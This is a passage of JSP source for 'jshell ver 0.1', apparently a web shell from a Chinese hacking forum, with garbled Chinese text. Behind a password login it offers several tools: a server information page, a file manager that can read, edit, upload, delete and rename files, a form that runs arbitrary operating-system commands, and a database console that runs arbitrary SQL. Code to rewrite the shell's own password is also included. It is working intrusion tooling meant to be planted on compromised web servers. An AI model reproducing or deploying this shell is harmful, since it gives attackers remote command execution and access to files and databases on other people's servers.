  835.  
  836. case Types.DATE:
  837. sRet += rs.getDate(i).toString();
  838. break;
  839.  
  840. case Types.DECIMAL:
  841. sRet += rs.getDouble(i);
  842. break;
  843.  
  844. case Types.NUMERIC:
  845. sRet += rs.getDouble(i);
  846. break;
  847.  
  848. case Types.REAL:
  849. sRet += rs.getDouble(i);
  850. break;
  851.  
  852. case Types.DOUBLE:
  853. sRet += rs.getDouble(i);
  854. break;
  855.  
  856. case Types.FLOAT:
  857. sRet += rs.getFloat(i);
  858. break;
  859.  
  860. case Types.INTEGER:
  861. sRet += rs.getInt(i);
  862. break;
  863.  
  864. case Types.TINYINT:
  865. sRet += rs.getShort(i);
  866. break;
  867.  
  868. case Types.VARCHAR:
  869. sRet += rs.getString(i);
  870. break;
  871.  
  872. case Types.TIME:
  873. sRet += rs.getTime(i).toString();
  874. break;
  875.  
  876. case Types.DATALINK:
  877. sRet += rs.getTimestamp(i).toString();
  878. break;
  879. }
  880. sRet += " </td>\n";
  881. }
  882. sRet += " </tr>\n";
  883. }
  884. sRet += "</table>\n";
  885.  
  886. rs.close();
  887. } else {
  888. if (_dbStatement.execute(sql)) {
  889. sRet = "sqlÓï¾äÖ´Ðгɹ¦";
  890. } else {
  891. sRet = "<font color=\"red\">sqlÓï¾äÖ´ÐÐʧ°Ü</font>";
  892. }
  893. }
  894. } catch (SQLException e) {
  895. sRet = "<font color=\"red\">sqlÓï¾äÖ´ÐÐʧ°Ü</font>";
  896. }
  897. }
  898.  
  899. return sRet;
  900. }
  901.  
  902. public void DBRelease() {
  903. try {
  904. if (_dbStatement != null) {
  905. _dbStatement.close();
  906. _dbStatement = null;
  907. }
  908.  
  909. if (_dbConnection != null) {
  910. _dbConnection.close();
  911. _dbConnection = null;
  912. }
  913. } catch (SQLException e) {
  914.  
  915. }
  916. }
  917.  
  918. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  919.  
  920. class JshellConfig {
  921. private String _jshellContent = null;
  922. private String _path = null;
  923.  
  924. public JshellConfig(String path) throws JshellConfigException {
  925. _path = path;
  926. read();
  927. }
  928.  
  929. private void read() throws JshellConfigException {
  930. try {
  931. FileReader jshell = new FileReader(new File(_path));
  932. char[] buffer = new char[1024];
  933. int nChars;
  934. _jshellContent = "";
  935.  
  936. while ((nChars = jshell.read(buffer, 0, 1024)) != -1) {
  937. _jshellContent += new String(buffer, 0, nChars);
  938. }
  939.  
  940. jshell.close();
  941. } catch (IOException e) {
  942. throw new JshellConfigException("´ò¿ªÎļþʧ°Ü");
  943. }
  944. }
  945.  
  946. public void save() throws JshellConfigException {
  947. FileWriter jshell = null;
  948.  
  949. try {
  950. jshell = new FileWriter(new File(_path));
  951. char[] buffer = _jshellContent.toCharArray();
  952. int start = 0;
  953. int size = 1024;
  954.  
  955. for (start = 0; start < buffer.length - 1 - size; start += size) {
  956. jshell.write(buffer, start, size);
  957. }
  958.  
  959. jshell.write(buffer, start, buffer.length - 1 - start);
  960. } catch (IOException e) {
  961. new JshellConfigException("дÎļþʧ°Ü");
  962. } finally {
  963. try {
  964. jshell.close();
  965. } catch (IOException e) {
  966.  
  967. }
  968. }
  969. }
  970.  
  971. public void setPassword(String password) throws JshellConfigException {
  972. Pattern p = Pattern.compile("\\w+");
  973. Matcher m = p.matcher(password);
  974.  
  975. if (! m.matches()) {
  976. throw new JshellConfigException("ÃÜÂë²»ÄÜÓгý×ÖĸÊý×ÖÏ»®ÏßÒÔÍâµÄ×Ö·û");
  977. }
  978.  
  979. p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\"");
  980. m = p.matcher(_jshellContent);
  981. if (! m.find()) {
  982. throw new JshellConfigException("³ÌÐòÌåÒѾ­±»·Ç·¨ÐÞ¸Ä");
  983. }
  984.  
  985. _jshellContent = m.replaceAll("private String _password = \"" + password + "\"");
  986.  
  987. //return HTMLEncode(_jshellContent);
  988. }
  989.  
  990. public void setEncodeType(String encodeType) throws JshellConfigException {
  991. Pattern p = Pattern.compile("[A-Za-z0-9]+");
  992. Matcher m = p.matcher(encodeType);
  993.  
  994. if (! m.matches()) {
  995. throw new JshellConfigException("±àÂë¸ñʽֻÄÜÊÇ×ÖĸºÍÊý×ÖµÄ×éºÏ");
  996. }
  997.  
  998. p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\"");
  999. m = p.matcher(_jshellContent);
  1000.  
  1001. if (! m.find()) {
  1002. throw new JshellConfigException("³ÌÐòÌåÒѾ­±»·Ç·¨ÐÞ¸Ä");
  1003. }
  1004.  
  1005. _jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\"");
  1006. //return HTMLEncode(_jshellContent);
  1007. }
  1008.  
  1009. public void setSessionTime(String sessionTime) throws JshellConfigException {
  1010. Pattern p = Pattern.compile("\\d+");
  1011. Matcher m = p.matcher(sessionTime);
  1012.  
  1013. if (! m.matches()) {
  1014. throw new JshellConfigException("session³¬Ê±Ê±¼äÖ»ÄÜÌîÊý×Ö");
  1015. }
  1016.  
  1017. p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime);
  1018. m = p.matcher(_jshellContent);
  1019.  
  1020. if (! m.find()) {
  1021. throw new JshellConfigException("³ÌÐòÌåÒѾ­±»·Ç·¨ÐÞ¸Ä");
  1022. }
  1023.  
  1024. _jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime);
  1025. //return HTMLEncode(_jshellContent);
  1026. }
  1027.  
  1028. public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException {
  1029. Pattern p = Pattern.compile("\\w+");
  1030. Matcher m = null;
  1031. int i;
  1032. String fileTypes = "";
  1033. String tmpFileTypes = "";
  1034.  
  1035. for (i = 0; i < textFileTypes.length; i ++) {
  1036. m = p.matcher(textFileTypes[i]);
  1037.  
  1038. if (! m.matches()) {
  1039. throw new JshellConfigException("À©Õ¹ÃûÖ»ÄÜÊÇ×ÖĸÊý×ÖºÍÏ»®ÏßµÄ×éºÏ");
  1040. }
  1041.  
  1042. if (i != textFileTypes.length - 1)
  1043. fileTypes += "\"" + textFileTypes[i] + "\"" + ", ";
  1044. else
  1045. fileTypes += "\"" + textFileTypes[i] + "\"";
  1046. }
  1047.  
  1048. for (i = 0; i < _textFileTypes.length; i ++) {
  1049. if (i != _textFileTypes.length - 1)
  1050. tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", ";
  1051. else
  1052. tmpFileTypes += "\"" + _textFileTypes[i] + "\"";
  1053. }
  1054.  
  1055. p = Pattern.compile(tmpFileTypes);
  1056. m = p.matcher(_jshellContent);
  1057.  
  1058. if (! m.find()) {
  1059. throw new JshellConfigException("³ÌÐòÎļþÒѾ­±»·Ç·¨ÐÞ¸Ä");
  1060. }
  1061.  
  1062. _jshellContent = m.replaceAll(fileTypes);
  1063.  
  1064. //return HTMLEncode(_jshellContent);
  1065. }
  1066.  
  1067. public String getContent() {
  1068. return HTMLEncode(_jshellContent);
  1069. }
  1070. }
  1071.  
  1072. class JshellConfigException extends Exception {
  1073. public JshellConfigException(String message) {
  1074. super(message);
  1075. }
  1076. }
  1077. %>
  1078. <html>
  1079. <head>
  1080. <title>jshell ver 0.1</title>
  1081. </head>
  1082. <style>
  1083. body {
  1084. font-size: 14px;
  1085. font-family: ËÎÌå;
  1086. }
  1087. td {
  1088. font-size: 14px;
  1089. font-family: ËÎÌå;
  1090. }
  1091.  
  1092. input.textbox {
  1093. border: black solid 1;
  1094. font-size: 12px;
  1095. height: 18px;
  1096. }
  1097.  
  1098. input.button {
  1099. font-size: 12px;
  1100. font-family: ËÎÌå;
  1101. border: black solid 1;
  1102. }
  1103.  
  1104. td.datarows {
  1105. font-size: 14px;
  1106. font-family: ËÎÌå;
  1107. height: 25px;
  1108. }
  1109.  
  1110. textarea {
  1111. border: black solid 1;
  1112. }
  1113. </style>
  1114. <script language="JavaScript">
  1115. <!--
  1116. function ltrim(str) {
  1117. while (str.indexOf(0) == " ")
  1118. str = str.substring(1);
  1119.  
  1120. return str;
  1121. }
  1122.  
  1123. function changeAction(obj) {
  1124. obj.submit();
  1125. }
  1126. //-->
  1127. </script>
  1128. <body>
  1129. <%
  1130. session.setMaxInactiveInterval(_sessionOutTime * 60);
  1131.  
  1132. if (request.getParameter("password") == null && session.getAttribute("password") == null) {
  1133. // show the login form
  1134. //================================================================================================
  1135. %>
  1136. <table align="center" border="0" width="250" cellspacing="2" cellpadding="1">
  1137. <form name="f1" method="post">
  1138. <tr>
  1139. <td align="center" colspan="2"><b> ¡·ãýÃð°²È«Íø Ãâ·Ñ½ÌѧºÚ¿Í¼¼Êõ ÂÛ̳ÍøÖ·:www.dlyymy.cn¡¶ </b></td>
  1140. </tr>
  1141. <tr>
  1142. <td>ÃÜÂë:</td>
  1143. <td>
  1144. <input type="password" size="25" name="password" class="textbox" />
  1145. <input type="submit" value="½øÈë" class="button" />
  1146. </td>
  1147. </tr>
  1148. </form>
  1149. </table>
  1150. <%
  1151. //================================================================================================
  1152. // end of the login form
  1153. } else {
  1154. String password = null;
  1155.  
  1156. if (session.getAttribute("password") == null) {
  1157. password = (String)request.getParameter("password");
  1158.  
  1159. if (validate(password) == false) {
  1160. out.println("<div align=\"center\"><font color=\"red\"><li>²Ù£¬ÄãÄÄλ!</font></div>");
  1161. out.close();
  1162. return;
  1163. }
  1164.  
  1165. session.setAttribute("password", password);
  1166. } else {
  1167. password = (String)session.getAttribute("password");
  1168. }
  1169.  
  1170. String action = null;
  1171.  
  1172. if (request.getParameter("action") == null)
  1173. action = "main";
  1174. else
  1175. action = (String)request.getParameter("action");
  1176.  
  1177. if (action.equals("exit")) {
  1178. session.removeAttribute("password");
  1179. response.sendRedirect(request.getRequestURI());
  1180. out.close();
  1181. return;
  1182. }
  1183.  
  1184. // show the main menu
  1185. //====================================================================================
  1186. %>
  1187. <table align="center" width="600" border="0" cellpadding="2" cellspacing="0">
  1188. <form name="form1" method="get">
  1189. <tr bgcolor="#CCCCCC">
  1190. <td id="title"><!--[³ÌÐòÊ×Ò³]--></td>
  1191. <td align="right">
  1192. <select name="action" onChange="javascript:changeAction(document.form1)">
  1193. <option value="main">³ÌÐòÊ×Ò³</option>
  1194. <option value="filesystem">Îļþϵͳ</option>
  1195. <option value="command">ϵͳÃüÁî</option>
  1196. <option value="database">Êý¾Ý¿â</option>
  1197. <option value="config">³ÌÐòÅäÖÃ</option>
  1198. <option value="about">¹ØÓÚ³ÌÐò</option>
  1199. <option value="exit">Í˳ö³ÌÐò</option>
  1200. </select>
  1201. <script language="JavaScript">
  1202. <%
  1203. out.println("var action = \"" + action + "\"");
  1204. %>
  1205. var sAction = document.form1.action;
  1206. for (var i = 0; i < sAction.length; i ++) {
  1207. if (sAction[i].value == action) {
  1208. sAction[i].selected = true;
  1209. //title.innerHTML = "[" + sAction[i].innerHTML + "]";
  1210. }
  1211. }
  1212. </script>
  1213. </td>
  1214. </tr>
  1215. </form>
  1216. </table>
  1217. <%
  1218. //=====================================================================================
  1219. // end of main menu
  1220.  
  1221. if (action.equals("main")) {
  1222. // print the system info table
  1223. //=======================================================================================
  1224. %>
  1225. <table align="center" width="600" cellpadding="2" cellspacing="1" border="0" bgcolor="#CCCCCC">
  1226. <tr bgcolor="#FFFFFF">
  1227. <td colspan="2" align="center">·þÎñÆ÷ÐÅÏ¢</td>
  1228. </tr>
  1229. <tr bgcolor="#FFFFFF">
  1230. <td width="300" align="center" class="datarows">·þÎñÆ÷Ãû</td>
  1231. <td align="center" class="datarows"><%=request.getServerName()%></td>
  1232. </tr>
  1233. <tr bgcolor="#FFFFFF">
  1234. <td width="300" align="center" class="datarows">·þÎñÆ÷¶Ë¿Ú</td>
  1235. <td align="center" class="datarows"><%=request.getServerPort()%></td>
  1236. </tr>
  1237. <tr bgcolor="#FFFFFF">
  1238. <td width="300" align="center" class="datarows">²Ù×÷ϵͳ</td>
  1239. <td align="center" class="datarows"><%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%></td>
  1240. </tr>
  1241. <tr bgcolor="#FFFFFF">
  1242. <td width="300" align="center" class="datarows">µ±Ç°Óû§Ãû</td>
  1243. <td align="center" class="datarows"><%=System.getProperty("user.name")%></td>
  1244. </tr>
  1245. <tr bgcolor="#FFFFFF">
  1246. <td width="300" align="center" class="datarows">µ±Ç°Óû§Ä¿Â¼</td>
  1247. <td align="center" class="datarows"><%=System.getProperty("user.home")%></td>
  1248. </tr>
  1249. <tr bgcolor="#FFFFFF">
  1250. <td width="300" align="center" class="datarows">µ±Ç°Óû§¹¤×÷Ŀ¼</td>
  1251. <td align="center" class="datarows"><%=System.getProperty("user.dir")%></td>
  1252. </tr>
  1253. <tr bgcolor="#FFFFFF">
  1254. <td width="300" align="center" class="datarows">³ÌÐòÏà¶Ô·¾¶</td>
  1255. <td align="center" class="datarows"><%=request.getRequestURI()%></td>
  1256. </tr>
  1257. <tr bgcolor="#FFFFFF">
  1258. <td width="300" align="center" class="datarows">³ÌÐò¾ø¶Ô·¾¶</td>
  1259. <td align="center" class="datarows"><%=request.getRealPath(request.getServletPath())%></td>
  1260. </tr>
  1261. <tr bgcolor="#FFFFFF">
  1262. <td width="300" align="center" class="datarows">ÍøÂçЭÒé</td>
  1263. <td align="center" class="datarows"><%=request.getProtocol()%></td>
  1264. </tr>
  1265. <tr bgcolor="#FFFFFF">
  1266. <td width="300" align="center" class="datarows">·þÎñÆ÷Èí¼þ°æ±¾ÐÅÏ¢</td>
  1267. <td align="center" class="datarows"><%=application.getServerInfo()%></td>
  1268. </tr>
  1269. <tr bgcolor="#FFFFFF">
  1270. <td width="300" align="center" class="datarows">JDK°æ±¾</td>
  1271. <td align="center" class="datarows"><%=System.getProperty("java.version")%></td>
  1272. </tr>
  1273. <tr bgcolor="#FFFFFF">
  1274. <td width="300" align="center" class="datarows">JDK°²×°Â·¾¶</td>
  1275. <td align="center" class="datarows"><%=System.getProperty("java.home")%></td>
  1276. </tr>
  1277. <tr bgcolor="#FFFFFF">
  1278. <td width="300" align="center" class="datarows">JAVAÐéÄâ»ú°æ±¾</td>
  1279. <td align="center" class="datarows"><%=System.getProperty("java.vm.specification.version")%></td>
  1280. </tr>
  1281. <tr bgcolor="#FFFFFF">
  1282. <td width="300" align="center" class="datarows">JAVAÐéÄâ»úÃû</td>
  1283. <td align="center" class="datarows"><%=System.getProperty("java.vm.name")%></td>
  1284. </tr>
  1285. <tr bgcolor="#FFFFFF">
  1286. <td width="300" align="center" class="datarows">JAVAÀà·¾¶</td>
  1287. <td align="center" class="datarows"><%=System.getProperty("java.class.path")%></td>
  1288. </tr>
  1289. <tr bgcolor="#FFFFFF">
  1290. <td width="300" align="center" class="datarows">JAVAÔØÈë¿âËÑË÷·¾¶</td>
  1291. <td align="center" class="datarows"><%=System.getProperty("java.library.path")%></td>
  1292. </tr>
  1293. <tr bgcolor="#FFFFFF">
  1294. <td width="300" align="center" class="datarows">JAVAÁÙʱĿ¼</td>
  1295. <td align="center" class="datarows"><%=System.getProperty("java.io.tmpdir")%></td>
  1296. </tr>
  1297. <tr bgcolor="#FFFFFF">
  1298. <td width="300" align="center" class="datarows">JIT±àÒëÆ÷Ãû</td>
  1299. <td align="center" class="datarows"><%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%></td>
  1300. </tr>
  1301. <tr bgcolor="#FFFFFF">
  1302. <td width="300" align="center" class="datarows">À©Õ¹Ä¿Â¼Â·¾¶</td>
  1303. <td align="center" class="datarows"><%=System.getProperty("java.ext.dirs")%></td>
  1304. </tr>
  1305. <tr bgcolor="#FFFFFF">
  1306. <td colspan="2" align="center">¿Í»§¶ËÐÅÏ¢</td>
  1307. </tr>
  1308. <tr bgcolor="#FFFFFF">
  1309. <td width="300" align="center" class="datarows">¿Í»§»úµØÖ·</td>
  1310. <td align="center" class="datarows"><%=request.getRemoteAddr()%></td>
  1311. </tr>
  1312. <tr bgcolor="#FFFFFF">
  1313. <td width="300" align="center" class="datarows">·þÎñ»úÆ÷Ãû</td>
  1314. <td align="center" class="datarows"><%=request.getRemoteHost()%></td>
  1315. </tr>
  1316. <tr bgcolor="#FFFFFF">
  1317. <td width="300" align="center" class="datarows">̞</td>
  1318. <td align="center" class="datarows"><%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%></td>
  1319. </tr>
  1320. <tr bgcolor="#FFFFFF">
  1321. <td width="300" align="center" class="datarows">ÇëÇó·½Ê½</td>
  1322. <td align="center" class="datarows"><%=request.getScheme()%></td>
  1323. </tr>
  1324. <tr bgcolor="#FFFFFF">
  1325. <td width="300" align="center" class="datarows">Ó¦Óð²È«Ì×½Ó×Ö²ã</td>
  1326. <td align="center" class="datarows"><%=request.isSecure() == true ? "ÊÇ" : "·ñ"%></td>
  1327. </tr>
  1328. </table>
  1329. <%
  1330. //=======================================================================================
  1331. // end of printing the system info table
  1332. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  1333. } else if (action.equals("filesystem")) {
  1334. String curPath = "";
  1335. String result = "";
  1336. String fsAction = "";
  1337.  
  1338. if (request.getParameter("curPath") == null) {
  1339. curPath = request.getRealPath(request.getServletPath());
  1340. curPath = pathConvert((new File(curPath)).getParent());
  1341. } else {
  1342. curPath = Unicode2GB((String)request.getParameter("curPath"));
  1343. }
  1344.  
  1345. if (request.getParameter("fsAction") == null) {
  1346. fsAction = "list";
  1347. } else {
  1348. fsAction = (String)request.getParameter("fsAction");
  1349. }
  1350.  
  1351. if (fsAction.equals("list"))
  1352. result = listFiles(curPath, request.getRequestURI() + "?action=" + action);
  1353. else if (fsAction.equals("browse")) {
  1354. result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action);
  1355. result += browseFile(curPath);
  1356. }
  1357. else if (fsAction.equals("open"))
  1358. result = openFile(curPath, request.getRequestURI() + "?action=" + action);
  1359. else if (fsAction.equals("save")) {
  1360. if (request.getParameter("fileContent") == null) {
  1361. result = "<font color=\"red\">Ò³Ãæµ¼º½´íÎó</font>";
  1362. } else {
  1363. String fileContent = Unicode2GB((String)request.getParameter("fileContent"));
  1364. result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent);
  1365. }
  1366. } else if (fsAction.equals("createFolder")) {
  1367. if (request.getParameter("folderName") == null) {
  1368. result = "<font color=\"red\">Ŀ¼Ãû²»ÄÜΪ¿Õ</font>";
  1369. } else {
  1370. String folderName = Unicode2GB(request.getParameter("folderName").trim());
  1371. if (folderName.equals("")) {
  1372. result = "<font color=\"red\">Ŀ¼Ãû²»ÄÜΪ¿Õ</font>";
  1373. } else {
  1374. result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName);
  1375. }
  1376. }
  1377. } else if (fsAction.equals("createFile")) {
  1378. if (request.getParameter("fileName") == null) {
  1379. result = "<font color=\"red\">ÎļþÃû²»ÄÜΪ¿Õ</font>";
  1380. } else {
  1381. String fileName = Unicode2GB(request.getParameter("fileName").trim());
  1382. if (fileName.equals("")) {
  1383. result = "<font color=\"red\">ÎļþÃû²»ÄÜΪ¿Õ</font>";
  1384. } else {
  1385. result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName);
  1386. }
  1387. }
  1388. } else if (fsAction.equals("deleteFile")) {
  1389. if (request.getParameter("filesDelete") == null) {
  1390. result = "<font color=\"red\">ûÓÐÑ¡ÔñҪɾ³ýµÄÎļþ</font>";
  1391. } else {
  1392. String[] files2Delete = (String[])request.getParameterValues("filesDelete");
  1393. if (files2Delete.length == 0) {
  1394. result = "<font color=\"red\">ûÓÐÑ¡ÔñҪɾ³ýµÄÎļþ</font>";
  1395. } else {
  1396. for (int n = 0; n < files2Delete.length; n ++) {
  1397. files2Delete[n] = Unicode2GB(files2Delete[n]);
  1398. }
  1399. result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete);
  1400. }
  1401. }
  1402. } else if (fsAction.equals("saveAs")) {
  1403. if (request.getParameter("fileContent") == null) {
  1404. result = "<font color=\"red\">Ò³Ãæµ¼º½´íÎó</font>";
  1405. } else {
  1406. String fileContent = Unicode2GB(request.getParameter("fileContent"));
  1407. result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent);
  1408. }
  1409. } else if (fsAction.equals("upload")) {
  1410. result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action);
  1411. } else if (fsAction.equals("copyto")) {
  1412. if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) {
  1413. result = "<font color=\"red\">ûÓÐÑ¡ÔñÒª¸´ÖƵÄÎļþ</font>";
  1414. } else {
  1415. String[] files2Copy = request.getParameterValues("filesDelete");
  1416. String dstPath = request.getParameter("dstPath").trim();
  1417. if (files2Copy.length == 0) {
  1418. result = "<font color=\"red\">ûÓÐÑ¡ÔñÒª¸´ÖƵÄÎļþ</font>";
  1419. } else if (dstPath.equals("")) {
  1420. result = "<font color=\"red\">ûÓÐÌîдҪ¸´ÖƵ½µÄĿ¼·¾¶</font>";
  1421. } else {
  1422. for (int i = 0; i < files2Copy.length; i ++)
  1423. files2Copy[i] = Unicode2GB(files2Copy[i]);
  1424.  
  1425. result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath));
  1426. }
  1427. }
  1428. } else if (fsAction.equals("rename")) {
  1429. if (request.getParameter("fileRename") == null) {
  1430. result = "<font color=\"red\">Ò³Ãæµ¼º½´íÎó</font>";
  1431. } else {
  1432. String file2Rename = request.getParameter("fileRename").trim();
  1433. String newName = request.getParameter("newName").trim();
  1434. if (file2Rename.equals("")) {
  1435. result = "<font color=\"red\">ûÓÐÑ¡ÔñÒªÖØÃüÃûµÄÎļþ</font>";
  1436. } else if (newName.equals("")) {
  1437. result = "<font color=\"red\">ûÓÐÌîдÐÂÎļþÃû</font>";
  1438. } else {
  1439. result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName));
  1440. }
  1441. }
  1442. }
  1443. %>
  1444. <table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
  1445. <forÃÜÂëethod="post" name="form2" action="<%= request.getRequestURI() + "?action=" + action%>">
  1446. <tr bgcolor="#FFFFFF">
  1447. <td align="center">µØÖ· <input type="text" size="80" name="curPath" class="textbox" value="<%=curPath%>" />
  1448. <input type="submit" value="תµ½" class="button" /></td>
  1449. </tr>
  1450. </form>
  1451. <tr bgcolor="#FFFFFF">
  1452. <td><%= result.trim().equals("")?"&nbsp;" : result%></td>
  1453. </tr>
  1454. </table>
  1455. <%
  1456. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  1457. } else if (action.equals("command")) {
  1458. String cmd = "";
  1459. InputStream ins = null;
  1460. String result = "";
  1461.  
  1462. if (request.getParameter("command") != null) {
  1463. cmd = (String)request.getParameter("command");
  1464. result = exeCmd(cmd);
  1465. }
  1466. // print the command form
  1467. //========================================================================================
  1468. %>
  1469. <table border="0" width="600" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC" align="center">
  1470. <form name="form2" method="post" action="<%=request.getRequestURI() + "?action=" + action%>">
  1471. <tr bgcolor="#FFFFFF">
  1472. <td align="center">Ö´ÐÐÃüÁî</td>
  1473. </tr>
  1474. <tr bgcolor="#FFFFFF">
  1475. <td align="center">
  1476. <input type="text" class="textbox" size="80" name="command" value="<%=cmd%>" />
  1477. <input type="submit" class="button" value="Ö´ÐÐ" />
  1478. </td>
  1479. </tr>
  1480. <tr bgcolor="#FFFFFF">
  1481. <td align="center">Ö´Ðнá¹û</td>
  1482. </tr>
  1483. </form>
  1484. </table>
  1485. <table align="center" width="600" border="0">
  1486. <tr>
  1487. <td><%=result == "" ? "&nbsp;" : result%></td>
  1488. </tr>
  1489. </table>
  1490. <%
  1491. //=========================================================================================
  1492. // end of printing command form
  1493. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  1494. } else if (action.equals("database")) {
  1495. String dbAction = "";
  1496. String result = "";
  1497. String dbType = "";
  1498. String dbServer = "";
  1499. String dbPort = "";
  1500. String dbUsername = "";
  1501. String dbPassword = "";
  1502. String dbName = "";
  1503. String dbResult = "";
  1504. String sql = "";
  1505.  
  1506. if (request.getParameter("dbAction") == null) {
  1507. dbAction = "main";
  1508. } else {
  1509. dbAction = request.getParameter("dbAction").trim();
  1510. if (dbAction.equals(""))
  1511. dbAction = "main";
  1512. }
  1513.  
  1514. if (dbAction.equals("main")) {
  1515. result = "&nbsp;";
  1516. } else if (dbAction.equals("dbConnect")) {
  1517. if (request.getParameter("dbType") == null ||
  1518. request.getParameter("dbServer") == null ||
  1519. request.getParameter("dbPort") == null ||
  1520. request.getParameter("dbUsername") == null ||
  1521. request.getParameter("dbPassword") == null ||
  1522. request.getParameter("dbName") == null) {
  1523. response.sendRedirect(request.getRequestURI() + "?action=" + action);
  1524. } else {
  1525. dbType = request.getParameter("dbType").trim();
  1526. dbServer = request.getParameter("dbServer").trim();
  1527. dbPort = request.getParameter("dbPort").trim();
  1528. dbUsername = request.getParameter("dbUsername").trim();
  1529. dbPassword = request.getParameter("dbPassword").trim();
  1530. dbName = request.getParameter("dbName").trim();
  1531.  
  1532. if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) {
  1533. if (DBConnect(dbUsername, dbPassword)) {
  1534. if (request.getParameter("sql") != null) {
  1535. sql = request.getParameter("sql").trim();
  1536. if (! sql.equals("")) {
  1537. dbResult = DBExecute(sql);
  1538. }
  1539. }
  1540.  
  1541. result = "<script language=\"javascript\">\n";
  1542. result += "<!--\n";
  1543. result += "function exeSql() {\n";
  1544. result += " if (ltrim(document.dbInfo.sql.value) != \"\")\n";
  1545. result += " document.dbInfo.submit();";
  1546. result += "}\n";
  1547. result += "\n";
  1548. result += "function resetIt() {\n";
  1549. result += " document.dbInfo.sql.value = \"\";";
  1550. result += "}\n";
  1551. result += "//-->\n";
  1552. result += "</script>\n";
  1553. result += "sqlÓï¾ä<br/><textarea name=\"sql\" cols=\"70\" rows=\"6\">" + sql + "</textarea><br/><input type=\"submit\" class=\"button\" onclick=\"javascript:exeSql()\" value=\"Ö´ÐÐ\"/>&nbsp;<input type=\"reset\" class=\"button\" onclick=\"javascript:resetIt()\" value=\"Çå¿Õ\"/>\n";
  1554.  
  1555. DBRelease();
  1556. } else {
  1557. result = "<font color=\"red\">Êý¾Ý¿âÁ¬½Óʧ°Ü</font>";
  1558. }
  1559. } else {
  1560. result = "<font color=\"red\">Êý¾Ý¿âÁ¬½ÓÇý¶¯Ã»ÓÐÕÒµ½</font>";
  1561. }
  1562. }
  1563. }
  1564. %>
  1565. <script language="javascript">
  1566. <!--
  1567. <%
  1568. out.println("var selectedType = \"" + dbType + "\";");
  1569. %>
  1570. //-->
  1571. </script>
  1572. <table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
  1573. <form name="dbInfo" method="post" action="<%=request.getRequestURI() + "?action=" + action + "&dbAction=dbConnect"%>">
  1574. <tr bgcolor="#FFFFFF">
  1575. <td width="300" align="center">Êý¾Ý¿âÁ¬½ÓÀàÐÍ</td>
  1576. <td align="center">
  1577. <select name="dbType">
  1578. <option value="sqlserver">SQLServerÊý¾Ý¿â</option>
  1579. <option value="mysql">MySqlÊý¾Ý¿â</option>
  1580. <option value="oracle">OracleÊý¾Ý¿â</option>
  1581. <option value="db2">DB2Êý¾Ý¿â</option>
  1582. <option value="odbc">ODBCÊý¾ÝÔ´</option>
  1583. </select>
  1584. <script language="javascript">
  1585. for (var i = 0; i < document.dbInfo.dbType.options.length; i ++) {
  1586. if (document.dbInfo.dbType.options[i].value == selectedType) {
  1587. document.dbInfo.dbType.options[i].selected = true;
  1588. }
  1589. }
  1590. </script>
  1591. </td>
  1592. </tr>
  1593. <tr bgcolor="#FFFFFF">
  1594. <td align="center">Êý¾Ý¿â·þÎñÆ÷µØÖ·</td>
  1595. <td align="center"><input type="text" name="dbServer" class="textbox" value="<%=dbServer%>" style="width:150px;" /></td>
  1596. </tr>
  1597. <tr bgcolor="#FFFFFF">
  1598. <td align="center">Êý¾Ý¿â·þÎñÆ÷¶Ë¿Ú</td>
  1599. <td align="center"><input type="text" name="dbPort" class="textbox" value="<%=dbPort%>" style="width:150px;" /></td>
  1600. </tr>
  1601. <tr bgcolor="#FFFFFF">
  1602. <td align="center">Êý¾Ý¿âÓû§Ãû</td>
  1603. <td align="center"><input type="text" name="dbUsername" class="textbox" value="<%=dbUsername%>" size="20" style="width:150px;" /></td>
  1604. </tr>
  1605. <tr bgcolor="#FFFFFF">
  1606. <td align="center">Êý¾Ý¿âÃÜÂë</td>
  1607. <td align="center"><input type="password" name="dbPassword" class="textbox" value="<%=dbPassword%>" size="20" style="width:150px;" /></td>
  1608. </tr>
  1609. <tr bgcolor="#FFFFFF">
  1610. <td align="center">Êý¾Ý¿âÃû</td>
  1611. <td align="center"><input type="text" name="dbName" class="textbox" value="<%=dbName%>" size="20" style="width:150px;" /></td>
  1612. </tr>
  1613. <tr bgcolor="#FFFFFF">
  1614. <td align="center" colspan="2"><input type="submit" value="Á¬½Ó" class="button" /> <input type="reset" value="ÖØÖÃ" class="button" /></td>
  1615. </tr>
  1616. <tr bgcolor="#FFFFFF">
  1617. <td align="center" colspan="2"><%=result%></td>
  1618. </tr>
  1619. </form>
  1620. </table>
  1621. <table align="center" width="100%" border="0">
  1622. <tr>
  1623. <td align="center">
  1624. <%=dbResult%>
  1625. </td>
  1626. </tr>
  1627. </table>
  1628. <%
  1629.  
  1630. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  1631. } else if (action.equals("config")) {
  1632. String cfAction = "";
  1633. int i;
  1634.  
